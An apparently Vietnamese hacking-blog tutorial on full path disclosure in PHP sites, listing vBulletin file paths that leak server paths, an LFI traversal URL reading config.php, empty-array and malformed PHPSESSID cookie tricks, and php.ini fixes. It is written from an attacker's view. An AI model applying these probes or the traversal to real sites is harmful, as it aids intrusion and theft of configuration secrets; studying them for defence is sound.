Full path disclosure. (FPD)

Tuesday, February 25, 2014

Full path disclosure. (FPD)

Full path disclosure. (FPD)

a) Giới thiệu chung


Đây là một lỗi nhỏ.Nhưng đôi khi nó quyết định cả vấn đề có thể khai thác được tiếp hay là không.FPD cho phép ta xác định được đường dẫn trong server.Từ đó giúp khai thác nhanh hơn .Ví dụ như khi ta khai thác LFI chẳng hạn.Nếu như folder thay đổi.Ta có thể dùng cách này để xác định.

http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php

Như trên ,để đọc đc file config bằng lfi trước tiên ta phải xác định đc đường dẫn đến nó.Và FPD là một phương pháp giúp đỡ ta đi nhanh hơn trong việc này.

b) Cách khai thác.

Việc tận dụng khai thác FPD còn tùy thuộc vào nhiều điều.Đối với một số mã nguồn mở đã công bố.Thì FPD đã được xác định ở một số đường dẫn.Mình sẽ trích dẫn một số.Các bạn khi đang tấn công một server nào đó.Trong server giả sử có một site vbulletin chẳng hạn.Thì các bạn xem phiên bản đó rồi search để tìm link cho xem full path nhé.
Ví dụ như đối với vbulletin 4.x 5.x có thể xem các đường dẫn sau:

/includes/api/commonwhitelist_2.php /includes/api/commonwhitelist_5.php /includes/api/commonwhitelist_6.php /includes/api/1/album_album.php /includes/api/1/album_editalbum.php /includes/api/1/album_latest.php /includes/api/1/album_overview.php /includes/api/1/album_picture.php /includes/api/1/album_user.php /includes/api/1/announcement_edit.php /includes/api/1/announcement_view.php /includes/api/1/api_cmscategorylist.php /includes/api/1/api_cmssectionlist.php /includes/api/1/api_forumlist.php /includes/api/1/api_getnewtop.php /includes/api/1/api_getsecuritytoken.php /includes/api/1/api_getsessionhash.php /includes/api/1/api_init.php /includes/api/1/api_mobilepublisher.php /includes/api/1/api_usersearch.php /includes/api/1/blog_blog.php /includes/api/1/blog_bloglist.php /includes/api/1/blog_comments.php /includes/api/1/blog_custompage.php /includes/api/1/blog_dosendtofriend.php /includes/api/1/blog_list.php /includes/api/1/blog_members.php /includes/api/1/blog_post_comment.php /includes/api/1/blog_post_editblog.php /includes/api/1/blog_post_editcomment.php /includes/api/1/blog_post_edittrackback.php /includes/api/1/blog_post_newblog.php /includes/api/1/blog_post_postcomment.php /includes/api/1/blog_post_updateblog.php /includes/api/1/blog_sendtofriend.php /includes/api/1/blog_subscription_entrylist.php /includes/api/1/blog_subscription_userlist.php /includes/api/1/blog_usercp_addcat.php /includes/api/1/blog_usercp_editcat.php /includes/api/1/blog_usercp_editoptions.php /includes/api/1/blog_usercp_editprofile.php /includes/api/1/blog_usercp_modifycat.php /includes/api/1/blog_usercp_updateprofile.php /includes/api/1/editpost_editpost.php /includes/api/1/editpost_updatepost.php /includes/api/1/forum.php /includes/api/1/forumdisplay.php /includes/api/1/inlinemod_domergeposts.php /includes/api/1/list.php /includes/api/1/login_lostpw.php /includes/api/1/member.php /includes/api/1/memberlist_search.php /includes/api/1/misc_showattachments.php /includes/api/1/misc_whoposted.php /includes/api/1/newreply_newreply.php /includes/api/1/newreply_postreply.php /includes/api/1/newthread_postthread.php /includes/api/1/newthread_newthread.php /includes/api/1/poll_newpoll.php /includes/api/1/poll_polledit.php /includes/api/1/poll_showresults.php /includes/api/1/private_editfolders.php /includes/api/1/private_insertpm.php /includes/api/1/private_messagelist.php /includes/api/1/private_newpm.php /includes/api/1/private_showpm.php /includes/api/1/private_trackpm.php /includes/api/1/profile_editattachments.php /includes/api/1/profile_editoptions.php /includes/api/1/profile_editprofile.php /includes/api/1/register_addmember.php 



/includes/api/1/register_checkdate.php /includes/api/1/search_process.php /includes/api/1/search_showresults.php /includes/api/1/showthread.php /includes/api/1/subscription_addsubscription.php /includes/api/1/subscription_editfolders.php /includes/api/1/subscription_viewsubscription.php /includes/api/1/threadtag_managetags.php /includes/api/2/album_picture.php /includes/api/2/api_blogcategorylist.php /includes/api/2/blog_blog.php /includes/api/2/blog_bloglist.php /includes/api/2/blog_list.php /includes/api/2/blog_subscription_entrylist.php /includes/api/2/blog_subscription_userlist.php /includes/api/2/blog_usercp_groups.php /includes/api/2/content.php /includes/api/2/editpost_editpost.php /includes/api/2/forumdisplay.php /includes/api/2/member.php /includes/api/2/newreply_newreply.php /includes/api/2/forum.php /includes/api/2/poll_newpoll.php /includes/api/2/poll_polledit.php /includes/api/2/poll_showresults.php /includes/api/2/private_messagelist.php /includes/api/2/private_trackpm.php /includes/api/2/profile_editattachments.php /includes/api/2/search_showresults.php /includes/api/2/showthread.php /includes/api/3/api_gotonewpost.php /includes/api/4/album_user.php /includes/api/4/api_forumlist.php /includes/api/4/api_getnewtop.php /includes/api/4/breadcrumbs_create.php /includes/api/4/facebook_getforumid.php /includes/api/4/facebook_getnewforummembers.php /includes/api/4/get_vbfromfacebook.php /includes/api/4/login_facebook.php /includes/api/4/newreply_postreply.php /includes/api/4/newthread_postthread.php /includes/api/4/register.php /includes/api/4/register_addmember.php /includes/api/4/search_findusers.php /includes/api/4/subscription_viewsubscription.php /includes/api/5/api_init.php /includes/api/6/api_getnewtop.php /includes/api/6/api_gotonewpost.php /includes/api/6/content.php /includes/api/6/member.php /includes/api/6/newthread_newthread.php /includes/block/blogentries.php /includes/block/cmsarticles.php /includes/block/html.php /includes/block/newposts.php /includes/block/sgdiscussions.php /includes/block/tagcloud.php /includes/block/threads.php /forumrunner/include/subscriptions.php /forumrunner/include/search_forum.php /forumrunner/include/profile.php /forumrunner/include/post.php /forumrunner/include/pms.php /forumrunner/include/online.php /forumrunner/include/moderation.php /forumrunner/include/misc.php /forumrunner/include/login.php /forumrunner/include/get_thread.php /forumrunner/include/get_forum.php /forumrunner/include/cms.php /forumrunner/include/attach.php /forumrunner/include/announcement.php /forumrunner/include/album.php /forumrunner/support/vbulletin_methods.php /forumrunner/support/stringparser_bbcode.class.php /forumrunner/support/utils.php /forumrunner/support/other_methods.php /packages/skimlinks/hooks/postbit_display_complete.php /packages/skimlinks/hooks/showthread_complete.php /packages/skimlinks/hooks/userdata_start.php

Đối với các mã nguồn khác như wordpress hay joomla ... cũng có.
Nếu không phải mã nguồn mở thì ta có thể kiểm tra bằng 1 trong 3 phương pháp sau.
+ Empty array: Thêm vào một empty array để yêu cầu ra ra một thông báo.
Ví dụ như thêm [] vào cuối biến index.php?page=home chẳng hạn.
Khi ta thêm vào index.php?page[]=home sẽ nhận đc như sau:

Warning: include_once() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/local/php5/lib/php') in/home/content/37/4936137/html/template.php on line 40

Nó có chỉ cho ta thấy đường dẫn /home/content/37/4936137/html/template.php từ đó có thể suy đoán ra đường dẫn file mà ta cần.Hoặc suy đóan ra đường dẫn đến root folder.

+Null Session Cookie:

Một phương pháp phổ biến khác để đưa ra yêu cầu thông baó lỗi trong đó có chứa full path đó là dùng Java Injection (ở đây dùng Null Session Cookie)
code java để get thông báo lỗi trên site mô tả với dạng như sau

javascript:void(document.cookie='PHPSESSID=');
hoặc javascript:alert(document.cookie="PHPSESSID=");


Trong đó PHPSESSID đc set bằng giá trị null.Như vậy chúng ta có thể nhận đc một lời cảnh báo như sau

Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2

+ Invalid Session Cookie

Tương tự như Null Session Cookie một session với PHPSESSID đc set >128 byte cũng sẽ cho ra thông báo lỗi với FPD.

javascript:void(document.cookie='PHPSESSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

Một kiểu khác cũng có tác dụng tương tự

javascript:void(document.cookie='PHPSESSID=.');


ta có thể sử dụng một số tool để khai thác full path disclosure như inspathx ( link tải ở đây https://code.google.com/p/inspathx/ )

c) Cách phòng chống.

Để phòng chống khai thác full path disclosure ta có thể ngăn chặn việc đưa ra thông báo lỗi bằng việc set trong php.ini

error_reporting(0);
display_errors = 'off';
Trong httpd.conf/apache2.conf set
php_flag display_errors off
Hoặc trong php script thực hiện
ini_set('display_errors',false);


Tác Giả:Icarus Thegioingam.org
Chia sẻ bài viết ^^
Other post

All comments [ 0 ]


Your comments